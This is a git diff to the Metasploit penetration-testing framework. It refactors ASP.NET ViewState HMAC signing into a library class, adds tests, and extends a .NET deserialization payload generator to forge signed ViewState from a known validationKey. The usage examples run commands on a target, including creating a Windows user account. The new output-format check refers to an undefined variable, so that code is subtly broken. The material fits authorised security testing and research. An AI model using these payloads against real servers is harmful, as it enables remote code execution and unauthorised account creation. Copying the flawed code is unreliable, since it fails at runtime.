diff --git a/docs/metasploit-framework.wiki/Dot-Net-Deserialization.md b/docs/metasploit-framework.wiki/Dot-Net-Deserialization.md index 310103a35627..1cccf2baaca1 100644 --- a/docs/metasploit-framework.wiki/Dot-Net-Deserialization.md +++ b/docs/metasploit-framework.wiki/Dot-Net-Deserialization.md @@ -82,24 +82,41 @@ Generate a .NET deserialization payload that will execute an operating system command using the specified gadget chain and formatter. Available formatters: - * BinaryFormatter - * LosFormatter - * SoapFormatter + * BinaryFormatter + * LosFormatter + * SoapFormatter Available gadget chains: - * TextFormattingRunProperties - * TypeConfuseDelegate - * WindowsIdentity - -Example: ./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TextFormattingRunProperties - -Specific options: - -c, --command The command to run - -f, --formatter The formatter to use (default: BinaryFormatter) - -g, --gadget The gadget chain to use (default: TextFormattingRunProperties) - -o, --output The output format to use (default: raw, see: --list-output-formats) - --list-output-formats List available output formats, for use with --output - -h, --help Show this message + * ClaimsPrincipal + * DataSet + * DataSetTypeSpoof + * ObjectDataProvider + * TextFormattingRunProperties + * TypeConfuseDelegate + * WindowsIdentity + +Available HMAC algorithms: SHA1, HMACSHA256, HMACSHA384, HMACSHA512, MD5 + +Examples: + ./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TypeConfuseDelegate -o base64 + ./dot_net.rb -c "calc.exe" -f LosFormatter -g TextFormattingRunProperties \ + --viewstate-validation-key deadbeef --viewstate-validation-algorithm SHA1 + +General options: + -h, --help Show this message + -c, --command The command to run + -f, --formatter The formatter to use (default: BinaryFormatter) + -g, --gadget The gadget chain to use (default: TextFormattingRunProperties) + -o, --output The output format to use (default: raw, see: --list-output-formats) + --list-output-formats List available output formats, for use with --output + +ViewState related options: + --viewstate-generator + The ViewState generator string to use + --viewstate-validation-algorithm + The validation algorithm (default: SHA1, see: Available HMAC algorithms) + --viewstate-validation-key + The validationKey from the web.config file ``` The `-g` / `--gadget` option maps to the *gadget_chain* argument for the diff --git a/lib/msf/core/exploit/view_state.rb b/lib/msf/core/exploit/view_state.rb index c00745164acf..0e97d1cc269c 100644 --- a/lib/msf/core/exploit/view_state.rb +++ b/lib/msf/core/exploit/view_state.rb @@ -51,60 +51,29 @@ def generate_viewstate_payload(cmd, extra: '', algo: 'sha1', key: '') end def generate_viewstate(data, extra: '', algo: 'sha1', key: '') - # Generate ViewState HMAC from known values and validation key - hmac = generate_viewstate_hmac(data + extra, algo: algo, key: key) - - # Append HMAC to provided data and Base64-encode the whole shebang - Rex::Text.encode_base64(data + hmac) + Rex::Exploit::ViewState.generate_viewstate(data, extra: extra, algo: algo, key: key) end def generate_viewstate_hmac(data, algo: 'sha1', key: '') - OpenSSL::HMAC.digest(algo, key, data) + Rex::Exploit::ViewState.generate_viewstate_hmac(data, algo: algo, key: key) end def decode_viewstate(encoded_viewstate, algo: 'sha1') - viewstate = Rex::Text.decode_base64(encoded_viewstate) - - unless Rex::Text.encode_base64(viewstate) == encoded_viewstate - vprint_error('Could not decode ViewState') - return { data: nil, hmac: nil } - end - - hmac_len = generate_viewstate_hmac('', algo: algo).length - - if (data = viewstate[0...-hmac_len]).empty? - vprint_error('Could not parse ViewState data') - data = nil - end - - unless (hmac = viewstate[-hmac_len..-1]) - vprint_error('Could not parse ViewState HMAC') - end - - { data: data, hmac: hmac } + decoded = Rex::Exploit::ViewState.decode_viewstate(encoded_viewstate, algo: algo) + + vprint_error('Could not parse ViewState data') unless decoded[:data].present? + vprint_error('Could not parse ViewState HMAC') unless decoded[:hmac].present? + decoded + rescue Rex::Exploit::ViewState::Error => error + vprint_error("#{error.class.name}: #{error.message}") + return { data: nil, hmac: nil } end def can_sign_viewstate?(encoded_viewstate, extra: '', algo: 'sha1', key: '') - viewstate = decode_viewstate(encoded_viewstate) - - unless viewstate[:data] - vprint_error('Could not retrieve ViewState data') - return false - end - - unless (their_hmac = viewstate[:hmac]) - vprint_error('Could not retrieve ViewState HMAC') - return false - end - - our_hmac = generate_viewstate_hmac( - viewstate[:data] + extra, - algo: algo, - key: key - ) - - # Do we have what it takes? - our_hmac == their_hmac + Rex::Exploit::ViewState.can_sign_viewstate?(encoded_viewstate, extra: extra, algo: algo, key: key) + rescue Rex::Exploit::ViewState::Error => error + vprint_error("#{error.class.name}: #{error.message}") + return false end # Extract __VIEWSTATE from HTML diff --git a/lib/rex/exploit/view_state.rb b/lib/rex/exploit/view_state.rb new file mode 100644 index 000000000000..733d86fd7927 --- /dev/null +++ b/lib/rex/exploit/view_state.rb @@ -0,0 +1,68 @@ +# -*- coding: binary -*- + +module Rex + module Exploit + class ViewState + class Error < Rex::RuntimeError + end + + def self.decode_viewstate(encoded_viewstate, algo: 'sha1') + viewstate = Rex::Text.decode_base64(encoded_viewstate) + + unless Rex::Text.encode_base64(viewstate) == encoded_viewstate + raise Error.new('Could not decode ViewState') + end + + hmac_len = OpenSSL::Digest.new(algo).digest_length + + if (data = viewstate[0...-hmac_len]).empty? + data = nil + end + + hmac = viewstate[-hmac_len..-1] + unless hmac&.length == hmac_len + raise Error.new('Could not decode ViewState') + end + + { data: data, hmac: hmac } + end + + def self.generate_viewstate(data, extra: '', algo: 'sha1', key: '') + # Generate ViewState HMAC from known values and validation key + hmac = generate_viewstate_hmac(data + extra, algo: algo, key: key) + + # Append HMAC to provided data and Base64-encode the whole shebang + Rex::Text.encode_base64(data + hmac) + end + + def self.generate_viewstate_hmac(data, algo: 'sha1', key: '') + OpenSSL::HMAC.digest(algo, key, data) + end + + def self.is_viewstate_valid?(encoded_viewstate, extra: '', algo: 'sha1', key: '') + viewstate = decode_viewstate(encoded_viewstate) + + unless viewstate[:data] + raise Error.new('Could not retrieve ViewState data') + end + + unless (their_hmac = viewstate[:hmac]) + raise Error.new('Could not retrieve ViewState HMAC') + end + + our_hmac = generate_viewstate_hmac( + viewstate[:data] + extra, + algo: algo, + key: key + ) + + # Do we have what it takes? + our_hmac == their_hmac + end + + class << self + alias_method :can_sign_viewstate?, :is_viewstate_valid? + end + end + end +end diff --git a/spec/lib/rex/exploit/view_state_spec.rb b/spec/lib/rex/exploit/view_state_spec.rb new file mode 100644 index 000000000000..3d1a9ee91e7f --- /dev/null +++ b/spec/lib/rex/exploit/view_state_spec.rb @@ -0,0 +1,67 @@ +require 'spec_helper' +require 'rex/version' + +require 'rex/text' + +# rubocop:disable Lint/DeprecatedGemVersion +RSpec.describe Rex::Exploit::ViewState do + let(:data) { Random.new.bytes(rand(10..100)) } + let(:key) { Random.new.bytes(20) } + + context 'when the algorithm is SHA-1' do + let(:algo) { 'sha1' } + + describe '.decode_viewstate' do + let(:encoded) { described_class.generate_viewstate(data, algo: algo, key: key) } + + it 'returns the data and HMAC' do + decoded = described_class.decode_viewstate(encoded, algo: algo) + expect(decoded).to be_a Hash + expect(decoded[:data]).to eq data + expect(decoded[:hmac]).to eq described_class.generate_viewstate_hmac(data, algo: algo, key: key) + end + end + + describe '.generate_viewstate' do + it 'generates the HMAC signature' do + expect(described_class).to receive(:generate_viewstate_hmac).with(data, algo: algo, key: key).and_call_original + described_class.generate_viewstate(data, algo: algo, key: key) + end + + it 'generates a Base64 encoded blob' do + viewstate = described_class.generate_viewstate(data, algo: algo, key: key) + debase64ed = Rex::Text.decode_base64(viewstate) + expect(debase64ed).to eq data + described_class.generate_viewstate_hmac(data, algo: algo, key: key) + end + end + + describe '.generate_viewstate_hmac' do + it 'delegates to OpenSSL::HMAC' do + expect(OpenSSL::HMAC).to receive(:digest).with(algo, key,data) + described_class.generate_viewstate_hmac(data, algo: algo, key: key) + end + + it 'generates a 20 byte HMAC' do + hmac = described_class.generate_viewstate_hmac(data, algo: algo, key: key) + expect(hmac.bytesize).to eq 20 + end + end + + describe '.is_viewstate_valid?' do + let(:encoded) { described_class.generate_viewstate(data, algo: algo, key: key) } + + it 'raises an Error when it can not be decoded' do + # use key.length / 2 to guarantee there is not enough data for the key to be found + expect { described_class.is_viewstate_valid?(Rex::Text.encode_base64('A' * (key.length / 2))) }.to raise_error(described_class::Error) + end + + it 'returns true for the correct key' do + expect(described_class.is_viewstate_valid?(encoded, algo: algo, key: key)).to be_truthy + end + + it 'returns false for the incorrect key' do + expect(described_class.is_viewstate_valid?(encoded, algo: algo, key: key + '#')).to be_falsey + end + end + end +end diff --git a/tools/payloads/ysoserial/dot_net.rb b/tools/payloads/ysoserial/dot_net.rb index 3126ea056f8e..a02190a2725a 100755 --- a/tools/payloads/ysoserial/dot_net.rb +++ b/tools/payloads/ysoserial/dot_net.rb @@ -12,6 +12,7 @@ $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', '..', 'lib'))) require 'msfenv' require 'rex' +require 'rex/exploit/view_state' require 'optparse' DND = Msf::Util::DotNetDeserialization @@ -22,10 +23,15 @@ command using the specified gadget chain and formatter. Available formatters: -#{DND::Formatters::NAMES.map { |n| " * #{n}\n"}.join} +#{DND::Formatters::NAMES.map { |n| " * #{n}\n"}.join} Available gadget chains: -#{DND::GadgetChains::NAMES.map { |n| " * #{n}\n"}.join} -Example: #{__FILE__} -c "net user msf msf /ADD" -f BinaryFormatter -g TextFormattingRunProperties +#{DND::GadgetChains::NAMES.map { |n| " * #{n}\n"}.join} +Available HMAC algorithms: SHA1, HMACSHA256, HMACSHA384, HMACSHA512, MD5 + +Examples: + #{__FILE__} -c "net user msf msf /ADD" -f BinaryFormatter -g TypeConfuseDelegate -o base64 + #{__FILE__} -c "calc.exe" -f LosFormatter -g TextFormattingRunProperties \\ + --viewstate-validation-key deadbeef --viewstate-validation-algorithm SHA1 }.strip def puts_transform_formats @@ -37,54 +43,96 @@ module YSoSerialDotNet class OptsConsole def self.parse(args) options = { - formatter: DND::DEFAULT_FORMATTER, - gadget_chain: DND::DEFAULT_GADGET_CHAIN, - output_format: 'raw' + formatter: DND::DEFAULT_FORMATTER, + gadget_chain: DND::DEFAULT_GADGET_CHAIN, + output_format: 'raw', + viewstate_generator: '', + viewstate_validation_algorithm: 'SHA1' } parser = OptionParser.new do |opt| opt.banner = BANNER opt.separator '' - opt.separator 'Specific options:' + opt.separator 'General options:' + + opt.on('-h', '--help', 'Show this message') do + $stdout.puts opt + exit + end opt.on('-c', '--command ', 'The command to run') do |v| options[:command] = v end opt.on('-f', '--formatter ', "The formatter to use (default: #{DND::DEFAULT_FORMATTER})") do |v| - options[:formatter] = v.to_sym + v = v.to_sym + unless DND::Formatters::NAMES.include?(v) + raise OptionParser::InvalidArgument, "#{v} is not a valid formatter" + end + + options[:formatter] = v end opt.on('-g', '--gadget ', "The gadget chain to use (default: #{DND::DEFAULT_GADGET_CHAIN})") do |v| + v = v.to_sym + unless DND::GadgetChains::NAMES.include?(v) + raise OptionParser::InvalidArgument, "#{v} is not a valid gadget chain" + end + options[:gadget_chain] = v.to_sym end opt.on('-o', '--output ', 'The output format to use (default: raw, see: --list-output-formats)') do |v| + normalized = o.downcase + unless Msf::Simple::Buffer.transform_formats.include?(normalized) + raise OptionParser::InvalidArgument, "#{v} is not a valid output format" + end + options[:output_format] = v.downcase end - opt.on_tail('--list-output-formats', 'List available output formats, for use with --output') do |v| + opt.on('--list-output-formats', 'List available output formats, for use with --output') do |v| puts_transform_formats exit end - opt.on_tail('-h', '--help', 'Show this message') do - $stdout.puts opt - exit + opt.separator '' + opt.separator 'ViewState related options:' + + opt.on('--viewstate-generator ', 'The ViewState generator string to use') do |v| + unless v =~ /^[a-f0-9]{8}$/i + raise OptionParser::InvalidArgument, 'must be 8 hex characters, e.g. DEAD1337' + end + + options[:viewstate_generator] = [v.to_i(16)].pack('V') + end + + opt.on('--viewstate-validation-algorithm ', 'The validation algorithm (default: SHA1, see: Available HMAC algorithms)') do |v| + normalized = v.upcase.delete_prefix('HMAC') + unless %w[SHA1 SHA256 SHA384 SHA512 MD5].include?(normalized) + raise OptionParser::InvalidArgument, "#{v} is not a valid algorithm" + end + + # in some instances OpenSSL may not include all the algorithms that we might expect, so check for that + unless OpenSSL::Digest.constants.include?(normalized.to_sym) + raise RuntimeError, "OpenSSL does not support the #{normalized} digest" + end + + options[:viewstate_validation_algorithm] = normalized + end + + opt.on('--viewstate-validation-key ', 'The validationKey from the web.config file') do |v| + unless v =~ /^[a-f0-9]{2}+$/i + raise OptionParser::InvalidArgument, 'must be in hex' + end + + options[:viewstate_validation_key] = v.scan(/../).map { |x| x.hex.chr }.join end end parser.parse!(args) - if options.empty? - raise OptionParser::MissingArgument, 'No options set, try -h for usage' - elsif options[:command].blank? + if options[:command].blank? raise OptionParser::MissingArgument, '-c is required' - elsif !DND::Formatters::NAMES.include?(options[:formatter]) - raise OptionParser::InvalidArgument, "#{options[:formatter]} is not a valid formatter" - elsif !DND::GadgetChains::NAMES.include?(options[:gadget_chain]) - raise OptionParser::InvalidArgument, "#{options[:gadget_chain]} is not a valid gadget chain" - elsif !Msf::Simple::Buffer.transform_formats.include?(options[:output_format]) - raise OptionParser::InvalidArgument, "#{options[:output_format]} is not a valid output format" end options @@ -110,11 +158,19 @@ def run formatter: @opts[:formatter] ) + if @opts[:viewstate_validation_key] + serialized = Rex::Exploit::ViewState.generate_viewstate( + serialized, + extra: @opts[:viewstate_generator], + algo: @opts[:viewstate_validation_algorithm], + key: @opts[:viewstate_validation_key] + ) + end + transformed = ::Msf::Simple::Buffer.transform(serialized, @opts[:output_format]) $stderr.puts "Size: #{transformed.length}" $stdout.puts transformed end - end end